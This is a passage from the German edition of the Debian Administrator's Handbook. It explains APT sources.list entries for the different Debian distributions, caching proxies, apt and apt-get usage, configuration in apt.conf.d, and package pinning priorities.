Der Eintrag cdrom beschreibt die vorhandenen CDs/DVDs. Anders als die anderen Quellen, ist eine CD/DVD-ROM nicht immer zugreifbar, sie muss ja zuerst in das Laufwerk eingelegt werden und zudem kann immer nur eine Scheibe zu einer Zeit gelesen werden. Deshalb werden diese Quellen ein klein wenig anders gehandhabt und müssen mit dem Befehl apt-cdrom hinzugefügt werden, üblicherweise ausgeführt mit dem Parameter add. Letzterer fordert Sie dann auf, die CD-ROM in das Laufwerk einzulegen, um dann deren Inhalt nach Paket-Dateien zu durchsuchen. Das Programm nutzt diese Dateien, um die Datenbank verfügbarer Pakete zu aktualisieren (dies geschieht für gewöhnlich mit dem Befehl apt update). Von da an kann APT auffordern, die CD-ROM einzulegen, falls es eines der darauf befindlichen Pakete benötigt.

6.1.2. Repositorien für Stable Benutzer

Hier ist eine standardmäßige sources.list für ein System, auf welchem eine Stable-Version von Debian läuft:

Beispiel 6.1. /etc/apt/sources.list-Datei für Debian Stable

# Security updates
deb http://security.debian.org/ jessie/updates main contrib non-free
deb-src http://security.debian.org/ jessie/updates main contrib non-free

## Debian mirror

# Base repository
deb http://ftp.debian.org/debian jessie main contrib non-free
deb-src http://ftp.debian.org/debian jessie main contrib non-free

# Stable updates
deb http://ftp.debian.org/debian jessie-updates main contrib non-free
deb-src http://ftp.debian.org/debian jessie-updates main contrib non-free

# Stable backports
deb http://ftp.debian.org/debian jessie-backports main contrib non-free
deb-src http://ftp.debian.org/debian jessie-backports main contrib non-free

Die Datei listet alle Bezugsquellen für Pakete, die zur Version Jessie von Debian gehören (der zum Zeitpunkt des Entstehens dieses Buches aktuellen Stable-Version). Wir entschieden uns, "jessie" explizit zu benennen, anstatt den allgemeinen Begriff "stable" (stable, stable-updates, stable-backports) zu verwenden, damit darunter nicht ohne unser Zutun eine andere Distribution verstanden wird, sobald die nächste Version freigegeben wird.

Die meisten Pakete kommen aus dem "base repository", das alle Pakete enthält, aber selten aktualisiert wird (etwa alle 2 Monate mit einem "point release"). Die anderen Repositories sind Untermengen (sie enthalten nicht alle Pakete) und können Aktualisierungen beinhalten (Pakete mit neuerer Version) die APT installieren könnte. Die folgenden Abschnitte erläutern den Zweck und die Richtlinien, die jedes dieser Repositories regeln.

Man muss wissen, dass, wenn die benötigte Version eines Paketes in mehreren Repositories verfügbar ist, das zuerst in der Liste sources.list aufgeführte verwendet wird. Aus diesem Grund werden nicht offizielle Bezugsquellen üblicherweise ans Ende der Liste gesetzt.

Nebenbei bemerkt trifft das meiste in diesem Abschnitt über Stable gesagte gleichermaßen auf Oldstable zu, denn letztere ist ja nichts anderes als eine ältere Stable, die parallel gepflegt wird.

6.1.2.1. Sicherheitsaktualisierungen

Die Sicherheitsaktualisierungen werden nicht auf dem üblichen Netzwerk von Debianspiegeln vorgehalten, sondern auf security.debian.org (einer kleinen Gruppe von Maschinen, die von den Debian System Administratoren betreut werden). Dieses Archiv enthält Sicherheitsaktualisierungen (erstellt vom Debian Security Team und/oder von den Paketbetreuern) für die Stable-Distribution.

Auf dem Server können auch Sicherheitsaktualsierungen für Testing liegen, aber das kommt selten vor, weil diese auf dem üblichen Aktualisierungsweg über Unstable auf auf Testing gelangen.

6.1.2.2. Stable-Aktualisierungen

Stable-Aktualisierungen sind nicht sicherheitsrelevant, werden aber als wichtig genug erachtet, um sie den Anwendern vor der nächsten Stable Release aufzuspielen.

Dieses Repository enthält üblicherweise Korrekturen für kritische Fehler, die vor dem Release nicht behoben werden konnten oder die sich mit nachfolgenden Aktualisierungen eingeschlichen haben. Je nach Dringlichkeit können auch Aktualisierungen für Pakete enthalten sein, die regelmäßig auf einen aktuellen Stand gebracht werden müssen… wie die Spam-Erkennungsregeln von spamassassin, die Viren-Datenbank von clamav oder die Sommerzeit-Regelungen aller Zeitzonen (tzdata).

Tatsächlich ist diese Repository ist eine Untermenge des proposed-updates-Repositories, sorgfältig ausgewählt von den Betreuern des Stable Release.

6.1.2.3. Proposed Updates

Einmal veröffentlicht, wird die Distribution Stable nur noch etwa alle 2 Monate aktualisiert. Im proposed-updates-Repository werden die vorgesehenen Aktualisierungen vorbereitet (kontrolliert von den Stable-Release-Betreuern).

Sowohl die Aktualisierungen von Stable als auch diejenigen zur Behebung von Sicherheitslücken, die in den voranstehenden Abschnitten beschrieben wurden, sind immer in diesem Repository enthalten, aber mehr noch, es bietet den Betreuern die Gelegenheit, wesentliche Fehler zu beheben, die kein sofortiges Release rechtfertigen.

Jeder kann dieses Repository benutzen, um diese Aktualisierungen vor ihrer offiziellen Veröffentlichung zu testen. Im Folgenden wird der Ausdruck jessie-proposed-updates benutzt, der sowohl treffender als auch konsistenter ist, da ja wheezy-proposed-updates (für die Aktualisierungen von Oldstable) auch noch existiert:

deb http://ftp.debian.org/debian jessie-proposed-updates main contrib non-free

6.1.2.4. Stable Backports

Das stable-backports-Repository enthält "rückportierte Pakete". Der Ausdruck beschreibt ein Paket mit kürzlich erschienener Software, das für eine ältere Distribution neukompiliert wurde, im Allgemeinen für Stable.

Wenn eine Distribution älter wird, haben viele Software-Projekte bereits neuere Versionen veröffentlicht, die nicht in das gegenwärtige Stable integriert werden (welches nur verändert wird, um die allerkritischsten Probleme, wie Sicherheitslücken, zu behandeln). Weil die Distributionen Testing und Unstable risikobehaftet sein können, bieten einige Paketbetreuer manchmal Rekompilierungen neuerer Software-Anwendungen für Stable an, was den Vorteil hat, mögliche Instabilitäten auf eine kleine Anzahl ausgewählter Pakete zu begrenzen.

→ http://backports.debian.org/

Das stable-backports-Repository ist inzwischen auf den normalen Debian-Spielgeln verfübar. Die Rückportierungen für Squeeze werden weiterhin auf dem dafür eingerichteten Server (backports.debian.org) vorgehalten und deshalb wird folgener Eintrag in sources.list benötigt:

deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free

Rückportierungen in stable-backports werden immer aus Paketen erzeugt, die in Testing vorhanden sind. Das stellt sicher, dass alle installierten Rückportierungen auf die zugehörige Stable-Version aktualisierbar sind, sobald das nächste Stable-Release verfügbar ist.

Obwohl dieses Repository neuere Versionen von Pakten zur Verfügung stellt, werden diese von APT nicht installiert, es sei denn, Sie geben ausdrückliche Anweisungen, das zu tun (oder haben das schon bei einer früheren Version der betreffenden Rückportierung gemacht):

$ sudo apt-get install package/jessie-backports
$ sudo apt-get install -t jessie-backports package

6.1.3. Repositories für Testing/Unstable Anwender

Hier ist eine standardmäßige sources.list für ein System, auf welchem entweder die Version Testing oder Unstable läuft:

Beispiel 6.2. Beispoieldatei /etc/apt/sources.list für Debian-Anwender von Testing/Unstable

# Unstable
deb http://ftp.debian.org/debian unstable main contrib non-free
deb-src http://ftp.debian.org/debian unstable main contrib non-free

# Testing
deb http://ftp.debian.org/debian testing main contrib non-free
deb-src http://ftp.debian.org/debian testing main contrib non-free

# Stable
deb http://ftp.debian.org/debian stable main contrib non-free
deb-src http://ftp.debian.org/debian stable main contrib non-free

# Security updates
deb http://security.debian.org/ stable/updates main contrib non-free
deb http://security.debian.org/ testing/updates main contrib non-free
deb-src http://security.debian.org/ stable/updates main contrib non-free
deb-src http://security.debian.org/ testing/updates main contrib non-free

Mit dieser sources.list wird APT Pakete von Unstable installieren. Ist das nicht gewollt, verwenden Sie die Einstellung APT::Default-Release (siehe Abschnitt 6.2.3, „Das System aktualisieren“) um APT anzuweisen, Pakete von einer anderen Distribution auszuwählen (in diesem Fall vermutlich Testing).

Es gibt gute Gründe alle diese Repositories vorzuhalten, obwohl ein einziges doch genügen sollte. Testing-Anwender werden es schätzen, ein einzelnes Paket aus Unstable herauspicken zu können, wenn die Version Testing einen nervigen Fehler enthält. Und auf der anderen Seite haben Benutzer von Unstable, die von einem unerwarteten Rückschlag betroffen sind, die Möglichkeit, Pakete auf die (vermutlich funktionierende) Testing-Version zurückzusetzen.

Die Bereitstellung von Stable kann auch in Frage gestellt werden, doch ermöglicht sie den Zugriff auf einige Pakete, die seit der letzten "stable"-Release aus den Entwicklungsversionen entfernt wurden.

6.1.3.1. Das Paketdepot Experimental

Das Archiv von Paketen in Experimental ist auf allen Debian-Spiegelservern vorhanden und enthält Pakete, die aufgrund ihrer nicht den Standards entsprechenden Qualität noch nicht in Unstable sind – oft sind es Entwicklerversionen oder Vorab-Versionen (Alpha, Beta, Veröffentlichungskandidat…). Ein Paket kann auch dorthin verschoben werden, wenn Änderungen Probleme verursachen können. Der Paketbetreuer versucht diese Probleme dann mit der Hilfe erfahrener Benutzter, die mit problembehafteter Software umgehen können, aufzuspüren. Nach dieser ersten Stufe wird das Paket nach Unstable verschoben, wo es ein viel größeres Publikum erreicht und dadurch viel gründlicher getestet wird.

Generell wird Experimental von Benutzern genutzt, denen es nichts ausmacht, wenn ihr System beschädigt wird und sie es reparieren müssen. Diese Distribution ermöglicht es, ein Paket einzubinden, das ein Benutzer ausprobieren möchte oder weil er es benötigt. Genau das ist die Vorgehensweise von Debian, da das Hinzufügen dieser in APTs sources.list-Datei nicht dazu führt, dass diese Pakete systematisch benutzt werden. Die hinzuzufügende Zeile ist:

deb http://ftp.debian.org/debian experimental main contrib non-free

6.1.4. Inoffizielle Resourcen: mentors.debian.net

Es gibt zahlreiche nichtöffentliche Debian Paketquellen (non-official sources), die von erfahrenen Benutzern eingerichtet wurden und die recompillierte Software von Entwicklern enthalten, die ihre Werke allen zur Verfügung stellen wollen - sogar von Debian Entwicklern, die Vorabversionen ihrer Pakete online bereitstellen (dies wurde durch Ubuntus Personal Package Archive Service populär).

Die Adresse mentors.debian.net ist interessant (obwohl sie nur Quellpakete zweier Entwicklergruppen sammelt): Die von Kanditaten für den Status eines offiziellen Debian-Entwicklers und die von Freiwilligen, die Debian-Pakete erstellen wollen, ohne durch den Integrationsprozess zu gehen. Diese Pakete werden ohne jegliche Garantie hinsichtlich ihrer Qualität zur Verfügung gestellt; achten Sie darauf, die Herkunft und Integrität zu prüfen und sie dann zu testen, bevor Sie erwägen, sie produktiv einzusetzen.

GEMEINSCHAFT Die debian.net Sites

Die Domain debian.net ist kein offizieller Bestandteil des Debian-Projekts. Jeder Debian-Entwickler kann diesen Domainnamen für den Eigengebrauch nutzen. Diese (Unter-)Websites können inoffizielle Dienste enthalten (manchmal persönliche Seiten), die auf Servern beherbergt sind, die nicht zum Projekt gehören und von Debian-Entwicklern aufgesetzt wurden. Oder sogar Prototypen, die irgendwann nach debian.org umziehen sollen. Es gibt zwei Gründe, warum diese Prototypen unter debian.net bleiben: Entweder hat niemand die nötige Anstrengung unternommen, sie in einen offiziellen Dienst zu überführen (beherbergt unter der Domain debian.org und mit sichergestellter Wartung), oder der Dienst ist zu umstritten, um offiziell zu werden.

Ein Paket zu installieren bedeutet, dessen Urheber Root-Rechte zu gewähren, da dieser über den Inhalt der Einrichtungsskripte entscheidet, die unter der Paket-Identität ausgeführt werden. Offizielle Debian-Pakete werden von Freiwilligen erstellt, die ausgewählt und überprüft wurden, und die ihre Pakete signieren können, so dass deren Herkunft und Integrität überprüft werden kann.

Seien Sie generell misstrauisch bei einem Paket, dessen Herkunft Sie nicht kennen und das nicht auf einem der offiziellen Debian-Servern beherbergt ist: Erwägen Sie in welchem Maß Sie dem Ersteller vertrauen können, und überprüfen Sie die Integrität des Pakets.

→ http://mentors.debian.net/

WEITERE SCHRITTE Alte Paketversionen: snapshot.debian.org

Der neue Dienst snapshot.debian.org (eingeführt im April 2010) kann genutzt werden, um „in der Zeit zurück“ zu gehen und eine alte Version eines Pakets zu finden. Mit ihm lässt sich beispielsweise herausfinden, mit welcher Version eines Paketes ein (nach einer Aktualisierung/einem Patch neu aufgetretenes) Fehlverhalten eingeführt wurde, und konkreter, um zu der vorhergehenden Version zurück zu gehen, während man auf die Behebung wartet.

6.1.5. Caching Proxy (Zwischenspeicher) für Debian Pakete

Wenn für ein ganzes Netzwerk der gleiche Server für das Herunterladen der gleichen aktualisierten Pakete konfiguriert wird, weiß jeder Administrator, wie hilfreich ein dazwischengeschalteter Proxy ist, der als lokaler Zwischenspeicher im Netzwerk fungiert (siehe Seitenleiste WÖRTERVERZEICHNIS Cache).

Sie können APT so konfigurieren, dass "standardmäßig" ein Proxy benutzt wird (siehe Abschnitt 6.2.4, „Konfigurationsoptionen“ für die APT-Seite und Abschnitt 11.6, „HTTP/FTP-Proxy“ für die Proxy-Seite), aber das Debian-Ökosystem bietet noch bessere Möglichkeiten für diesen Zweck. Die speziellen Programme, die in diesem Abschnitt vorgestellt werden, sind intelligenter als ein einfacher Cache, denn sie können auf eine spezielle Struktur an APT-Repositories zurückgreifen (beispielsweise wissen sie, ob einzelne Dateien obsolet sind oder nicht, und können so die Vorhaltezeit anpassen).

apt-cacher and apt-cacher-ng arbeiten wie normale Proxy-Server. Die sources.list von APT bleibt unverändert, aber APT ist so konfiguriert, dass es diese als Proxies für ausgehende Anfragen nutzt.

approx auf der anderen Seite, arbeitet wie ein HTTP-Server, der alle im Netz verfügbaren Repositories unter seiner Top-Level-Domain zur Verfügung stellt. Die Verknüpfungen zwischen den entfernten URL's der Repositories und diesen Top-Level-Verzeichnissen sind in /etc/approx/approx.conf gespeichert:

# <name> <repository-base-url>
debian   http://ftp.debian.org/debian
security http://security.debian.org

approx lauscht standardmäßig via inetd auf Port 9999 (siehe Abschnitt 9.6, „Der Superserver inetd“) und erwartet von den Anwendern, sources.list anzupassen, so dass er auf den Server "approx" zeigt:

# Das Beispiel aus der sources.list zeigt auf einen lokalen approx Server
deb http://apt.falcot.com:9999/security jessie/updates main contrib non-free
deb http://apt.falcot.com:9999/debian jessie main contrib non-free

6.2. aptitude, apt-get und apt Befehle

APT ist ein gewaltiges Projekt, dessen ursprünglicher Entwurf eine graphische Schnittstelle vorsah. Es basiert auf einer Bibliothek, die die Kernanwendung enthält und apt-get war das erste Frontend – befehlszeilenbasiert – das innerhalb des Projekts entwickelt wurde. apt ist ein zweites Kommandozeilen-basiertes Frontend von APT, das einige Designfehler von apt-get überwindet.

Zahlreiche andere grafische Oberflächen erschienen dann als externe Projekte: synaptic, aptitude (die sowohl eine Textmodus-Oberfläche als auch eine grafische - wenn auch noch nicht vollständig - enthält), wajig, etc. Die am meisten empfohlene Schnittstelle, apt, ist diejenige, die wir in den Beispielen in diesem Abschnitt verwenden werden. Beachten Sie jedoch, dass apt-get und aptitude eine sehr ähnliche Befehlszeilen-Syntax haben. Wenn es große Unterschiede zwischen apt, apt-get und aptitude gibt, werden diese Unterschiede detailliert.

6.2.1. Initialisierung

Bei jeder Verwendung von APT muss die Liste der verfügbaren Pakete aktualisiert werden; dies kann mit einem einfachen apt update erledigt werden. Abhängig von der Geschwindigkeit Ihrer Internetverbindung kann diese Operation eine Weile dauern, da dies bedeutet, eine gewisse Anzahl von Packages/Sources/Translation-language-code-Dateien, die mit der Entwicklung von Debian nach und nach größer und größer wurden (mindestens 10 MB für die Daten des Abscnitts main). Selbstverständlich erfordert die Installation von einem CD-ROM Satz keinerlei Herunterladen – in diesem Fall ist die Operation sehr schnell.

6.2.2. Installieren und Entfernen

Mit APT können Pakete dem System hinzugefügt oder entfernt werden, genauer mit apt install Paket und apt remove Paket. In beiden Fällen installiert APT automatisch die nötigen Abhängigkeiten oder löscht die Pakete, die von dem zu entfernenden Paket abhängen. Der Befehl apt purge Paket ist mit einer vollständigen Deinstallation verbunden – auch die Konfigurationsdateien werden gelöscht.

TIPP Die gleiche Paketauswahl mehrfach installieren

Manchmal ist es wünschenswert, die gleiche Paketauswahl auf mehreren Computern zu installieren. Das ist sehr einfach möglich.

Zuerst erzeugen Sie eine Liste der installierten Pakte auf dem Computer, der als "Kopiervorlage" dient.

$ dpkg --get-selections >pkg-list

Die Datei pkg-list enthält die Liste der installierten Pakete. Als Nächstes übertragen Sie die Datei pkg-list auf die zu aktualisierenden Rechner und geben dort die folgenden Befehle ein:

## bekannte Pakete in der Datenbank von dpkg aktualisieren
# avail=`mktemp`
# apt-cache dumpavail > "$avail"
# dpkg --merge-avail "$avail"
# rm -f "$avail"
## die Auswahl von dpkg aktualisieren
# dpkg --set-selections < pkg-list
## mit apt-get die gewählten Pakete installieren
# apt-get dselect-upgrade

Der erste Befehl zeichnet die verfügbaren Pakete in der Datenbank dpkg auf und anschließend stellt dpkg --set-selections die Liste der Pakete wieder her, die Sie installieren wollen und der Aufruf von apt-get führt die erforderlichen Operationen aus. Der Befehl aptitude hat diese Möglichkeit nicht.

TIPP Entfernen und installieren in einem Durchgang

Es ist möglich, apt (oder apt-get oder aptitude) zu bitten, bestimmte Pakete zu installieren und andere auf der gleichen Befehlszeile durch Hinzufügen eines Suffixes zu entfernen. Mit dem Befehl apt install fügen Sie "-" zu den Namen der Pakete hinzu, die Sie entfernen möchten. Mit dem Befehl apt remove fügen Sie "+" zu den Namen der Pakete hinzu, die Sie installieren möchten.

Das nächste Bespiel zeigt zwei verschiedene Wege, Paket1 zu installieren und Paket2 zu entfernen.

# apt install Paket1 Paket2-
[...]
# apt remove Paket1+ Paket2
[...]

Damit kann man auch Pakete ausschließen, die sonst installiert würden, beispielsweise aufgrund eines Recommends-Vorschlags. Normalerweise wird das Programm zur Auflösung von Abhängigkeiten aufgrund dieser Information nach alternativen Lösungen zu suchen.

TIPP apt --reinstall und aptitude reinstall

Das Entfernen oder Verändern von Dateien aus einem Paket kann das System manchmal beschädigen. Die einfachste Art, diese Dateien wieder zu bekommen, ist, das betroffene Paket erneut zu installieren. Unglücklicherweise stellt das Paketierungssystem fest, dass das Paket bereits installiert ist, und weigert sich höflich, es erneut zu installieren; um dies zu vermeiden, benutzen Sie die Option --reinstall der Befehle apt und apt-get. Der folgende Befehl installiert das Paket postfix erneut, selbst falls es bereits vorhanden ist:

# apt --reinstall install postfix

Die Syntax von aptitude ist ein wenig anders, erzielt aber dasselbe Ergebnis mit aptitude reinstall postfix.

Das Problem tritt bei dpkg nicht auf, jedoch wird es selten direkt durch den Administrator genutzt.

Seien Sie vorsichtig! Das Benutzen von apt --reinstall um Pakete wiederherzustellen, die während eines Angriffs verändert wurden, ist sicherlich nicht ausreichend das System so wieder her zu stellen, wie es war. Abschnitt 14.7, „Umgang mit einem kompromittierten Rechner“ beschreibt die bei einem gehackten zu unternehmenden Schritte im Detail.

Falls die Datei sources.list mehrere Distributionen enthält, ist es möglich, die Version des zu installierenden Pakets anzugeben. Eine bestimmte Versionsnummer kann mit apt install paket=version angefordert werden, aber die Angabe ihrer Urspungsdistribution (Stable, Testing oder Unstable) – mit apt install paket/distribution – wird für gewöhnlich bevorzugt. Mit diesem Befehl ist es möglich, zu einer älteren Paketversion zurückzukehren (falls Sie zum Beispiel wissen, dass sie gut funktioniert), vorausgesetzt sie ist noch in einer der von der Datei sources.list genannten Quellen verfügbar. Ansonsten kann das Archiv snapshot.debian.org zu Hilfe kommen (siehe die Seitenleiste WEITERE SCHRITTE Alte Paketversionen: snapshot.debian.org).

Beispiel 6.3. Installation der unstable Version von spamassassin

# apt install spamassassin/unstable

NÄCHSTE SCHRITTE Der Zwischenspeicher für .deb Dateien

APT behält eine Kopie jeder heruntergeladenen .deb-Datei im Verzeichnis /var/cache/apt/archives. Im Falle häufiger Aktualisierungen kann dieses Verzeichnis schnell eine Menge Festplattenspeicherplatz durch verschiedene Paketversionen einnehmen; Sie sollten das Verzeichnis regelmäßig aufräumen. Zwei Befehle können verwendet werden: apt-get clean leert das Verzeichnis vollständig, apt-get autoclean entfernt nur die Pakete, die nicht mehr heruntergeladen werden können (weil sie vom Debian-Spiegelserver verschwunden sind) und deshalb eindeutig nutzlos sind (der Konfigurationsparameter APT::Clean-Installed kann das Entfernen von .deb-Dateien verhindern, die gegenwärtig installiert sind). Beachten Sie, dass apt diese Befehle nicht unterstützt.

6.2.3. Das System aktualisieren

Regelmäßige Aktualisierungen werden empfohlen, weil sie die neuesten Sicherheitsupdates beinhalten. Zum Aktualisieren benutzen Sie apt upgrade, apt-get upgrade oder aptitude safe-upgrade (natürlich nach apt-get update). Dieser Befehl sucht nach installierten Paketen, die aktualisiert werden können, ohne irgendwelche Pakete zu entfernen. Mit anderen Worten, es ist das Ziel, eine minimal invasive Aktualisierung sicher zu stellen. apt-get ist ein wenig anspruchsvoller als aptitude oder apt, weil es sich weigert, Pakete zu installieren, die zuvor nicht installiert waren.

TIPP Inkrementelle Aktualisierung

Wie weiter oben erklärt, ist das Ziel von apt update, von jeder Paketquelle die jeweilige Packages- (oder Sources--) Datei herunter zu laden. Allerdings können diese Dateien selbst nach dem Komprimieren mit bzip2 recht groß bleiben (die Packages.xz für den Abschnitt main von Jessie ist größer als 6 MB). Falls Sie regelmäßig aktualisieren wollen, kann das Herunterladen viel Zeit in Anspruch nehmen.

Aus Performancegründen kann APT differentielle Dateien herunterladen, die nur die Änderungen seit der vorigen Aktualisierung beinhalten. Um dies zu erreichen, verteilen offizielle Spiegelserver von Debian verschiedene Dateien, die die Unterschiede zwischen einer Version der Packages-Datei und der folgenden Version auflisten. Sie werden bei jeder Aktualisierung der Archive erzeugt, und ein Verlauf von einer Woche wird vorgehalten. Jede dieser „Diff“-Dateien für Unstable ist nur ein paar Dutzend Kilobytes groß, sodass die Datenmenge eines wöchentlichen apt update oft nur ein Zehntel der Gesamtdateigröße beträgt. Für Distributionen wie Stable und Testing mit weniger Änderungen ist der Gewinn noch deutlicher spürbar.

Manchmal jedoch kann es wünschenswert sein, das Herunterladen der gesamten Packages-Datei zu erzwingen, besonders wenn die letzte Aktualisierung lange zurück liegt oder die Gesamtgröße der inkrementellen Differenz-Dateien nur wenig geringer ist. Dies kann auch interessant sein, wenn der Netzwerkzugriff sehr schnell aber der Prozessor der zu aktualisierenden Maschine ziemlich langsam ist, weil das Herunterladen schneller geht, als wiederholt die neue Version dieser Dateien zu berechnen (immer wieder die Unterschiede der jeweils ältesten Differenz-Datei auf die Paketliste anzuwenden). Dazu setzen Sie den Konfigurationsparameter Acquire::Pdiff verwenden auf false.

apt wählt grundsätzlich die neueste Versionsnummer aus (außer bei Paketen aus Experimental und stable-backports, die standardmäßig ignoriert werden, unabhängig von ihrer Versionsnummer). Falls Sie Testing oder Unstable in Ihrer sources.list angegeben haben, wird apt upgrade den größten Teil Ihres Stable-Systems auf Testing oder Unstable umstellen, was möglicherweise nicht Ihre Absicht war.

Um apt in einer bestimmten Distribution nach aktualisierten Paketen suchen zu lassen, benutzen Sie die Option -t oder --target-release gefolgt vom Namen der gewünschten Distribution (zum Beispiel: apt stable upgrade). Um das Angeben dieser Option bei jedem Aufruf von apt zu vermeiden, können Sie APT::Default-Release "stable"; der Datei /etc/apt/apt.conf.d/local hinzufügen.

Für wichtigere Aktualisierungen, wie den Übergang von einer Debian-Hauptversion zur nächsten, müssen Sie apt full-upgrade benutzen. Mit dieser Anweisung vollzieht apt die Aktualisierung selbst dann, wenn es einige veraltete Pakete entfernen oder neue Abhängigkeiten installieren muss. Dies ist ebenso der Befehl, den Benutzer verwenden, die täglich mit Debians Unstable-Veröffentlichung arbeiten und deren Entwicklung tagtäglich verfolgen. Es ist so einfach, dass es kaum einer Erklärung bedarf: APTs Ansehen begründet sich in dieser großartigen Funktionalität.

Anders als apt und aptitude, kennt apt-get nicht den full-upgrade Befehl. Sie sollten statt dessen apt-get dist-upgrade (”distribution upgrade”) verwenden, den historischen und gut bekannten Befehl, der auch von apt und aptitude zur Vereinfachung für den Benutzer verwendbar ist.

6.2.4. Konfigurationsoptionen

Neben den bereits erwähnten Konfigurationselementen ist es möglich, bestimmte Verhaltensweisen von APT durch das Hinzufügen von Vorschriften in einer Datei im Verzeichnis /etc/apt/apt.conf.d/ festzulegen. Erinnern Sie sich beispielsweise daran, dass es APT möglich ist, dpkg anzuweisen, durch Dateikonflikte hervorgerufene Fehler zu ignorieren, indem Sie DPkg::options { "--force-overwrite"; } angeben.

Falls auf das Web nur über einen Web-Proxy zugegriffen werden kann, fügen Sie eine Zeile wie Acquire::http::proxy "http://IhrProxy:3128" hinzu. Für einen FTP-Proxy schreiben Sie Acquire::ftp::proxy "ftp://IhrProxy". Um mehr über die Konfigurationsoptionen heraus zu finden, lesen Sie die Handbuchseite apt.conf(5) mit dem Befehl man apt.conf (für Einzelheiten zu Handbuchseiten siehe Abschnitt 7.1.1, „Handbuchseiten“).

ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse

Verzeichnisse mit angehängtem .d werden immer häufiger benutzt. Jedes Verzeichnis steht für eine Konfigurationsdatei, die auf mehrere Dateien aufgeteilt ist. In diesem Sinne sind alle Dateien in /etc/apt/apt.conf.d Anweisungen für die Konfiguration von APT. APT bezieht sie in alphabetischer Reihenfolge ein, so dass Anweisungen aus den weiter hinten stehenden Dateien bereits zuvor definierte Konfigurationselemente verändern können.

Diese Struktur gibt dem Administrator der Maschine und den Paket-Betreuern einiges an Flexibilität. Tatsächlich kann der Administrator die Konfiguration der Software verändern, indem er dem fraglichen Verzeichnis eine ein gebrauchsfertige Datei hinzufügt, ohne eine bestehende Datei verändern zu müssen. Paket-Betreuer nutzen denselben Ansatz, wenn sie die Konfiguration einer anderen Software anpassen müssen, um sicher zu stellen, dass beide Konfigurationen friedlich koexistieren können. Die Debian-Richtlinien (policy) verbieten jedoch ausdrücklich das Verändern von Konfigurationsdateien anderer Pakete — nur den Anwendern wird dieses gestattet. Erinnern Sie sich, dass während einer Paketaktualisierung der Benutzer eine Auswahlmöglichkeit erhält, welche Version der Konfigurationsdatei verwendet werden soll, falls eine Veränderung erkannt wurde. Jede fremde Änderung würde eine solche Abfrage auslösen, zur Verwunderung des Administrators, der sich sicher ist, nichts verändert zu haben.

Ohne ein .d-Verzeichnis ist es einem fremden Paket unmöglich, die Einstellungen eines Programms zu verändern, ohne dessen Konfigurationsdatei zu verändern. Stattdessen muss es den Benutzer in der Datei /usr/share/doc/paket/README.Debian auffordern, dies selbst zu tun und die dazu nötigen Schritte auflisten.

Abhängig von der Anwendung wird das .d-Verzeichnis direkt benutzt oder von einem externen Skript verwaltet, welches alle Dateien zu der eigentlichen Konfigurationsdatei zusammenfügt. Wichtig ist, dieses Skript nach jeder Änderung in dem Verzeichnis auszuführen, so dass die jüngsten Änderungen angewendet werden. Ebenso wichtig ist es, die automatisch erzeugte Konfigurationsdatei nicht direkt zu bearbeiten, weil alle manuellen Änderungen bei der nächsten Ausführung des Skripts verloren gehen. Die gewählte Methode (das .d-Verzeichnis direkt zu nutzen oder eine aus dem Verzeichnis generierte Datei) wird üblicherweise bestimmt durch die Rahmenbedingungen bei der Entwicklung, in beiden Fällen aber macht die höhere Konfigurationsflexibilität die kleinen Komplikationen, die sie mit sich bringt, mehr als wett. Der Mailserver Exim4 ist ein Beispiel für die Methode der generierten Datei: er kann durch mehrere Dateien (/etc/exim4/conf.d/*) konfiguriert werden, die vom Befehl update-exim4.conf zu /var/lib/exim4/config.autogenerated verknüpft werden.

6.2.5. Paketprioritäten verwalten

Einer der wichtigsten Aspekte bei der Konfiguration von APT ist die Verwaltung der Prioritäten, die jeder Paketquelle zugeordnet sind. Möchten Sie zum Beispiel eine stabile Distribution durch ein oder zwei neuere Pakete aus Testing, Unstable oder Experimental erweitern? Es ist möglich, jedem verfügbaren Paket eine Priorität zuzuweisen (dasselbe Paket kann mehrere Prioritäten haben, abhängig von seiner Version oder der Distribution, in der es vorkommt). Diese Prioritäten beeinflussen APTs Verhalten: Für jedes Paket wird die Version mit der höchsten Priorität ausgewählt (außer wenn diese Version älter ist, als die installierte und wenn ihre Priorität geringer als 1000 ist).

APT definiert verschiedene Standard-Prioritäten. Jede installierte Paketversion hat die Priorität 100. Eine nicht installierte Version erhält standardmäßig die Priorität 500, diese kann aber auf 990 angehoben werden, falls sie Teil der Ziel-Veröffentlichung ist (diese wird durch die Befehlszeilenoption -t oder die Konfigurationsanweisung APT::Default-Release festgelegt).

Sie können die Prioritäten ändern, indem Sie der Datei /etc/apt/preferences Einträge mit den Namen der betroffenen Pakete, ihrer Version und Herkunft, sowie ihrer neuen Priorität hinzufügen.

APT installiert keine ältere Version eines Pakets (das heißt, ein Paket, dessen Versionsnummer niedriger ist als die des gegenwärtig installierten Paketes), außer wenn deren Priorität höher als 1000 ist. APT installiert immer das Paket mit der höchsten Priorität, das dieser Bedingung entspricht. Falls zwei Pakete dieselbe Priorität haben, installiert APT das neuere (das, mit der höheren Versionsnummer). Falls zwei Pakete mit der derselben Version und derselben Priorität, unterschiedlichen Inhalt haben, installiert APT die Version, die nicht installiert ist. (Diese Regel wurde entworfen, um den Fall einer Paket-Aktualisierung ohne die eigentlich nötige Erhöhung der Revisionsnummer abzudecken).

Konkret wird ein Paket mit einer Priorität kleiner als 0 niemals installiert. Ein Paket mit einer Priorität zwischen 0 und 100 wird nur dann installiert, wenn keine andere Version des Pakets bereits installiert ist. Bei einer Priorität zwischen 100 und 500 wird das Paket nur dann installiert, wenn keine neuere Version installiert oder in einer anderen Distribution verfügbar ist. Zwischen einer Priorität von 501 und 990 wird ein Paket nur dann installiert, wenn keine neuere Version installiert oder in der Zieldistribution verfügbar ist. Liegt die Priorität zwischen 990 und 1000 wird das Paket nur dann installiert, wenn keine neuere Version installiert ist. Mit einer Priorität größer 1000 wird das Paket in jedem Fall installiert, selbst wenn dies APT zu einem Downgrade auf eine ältere Version zwingt.

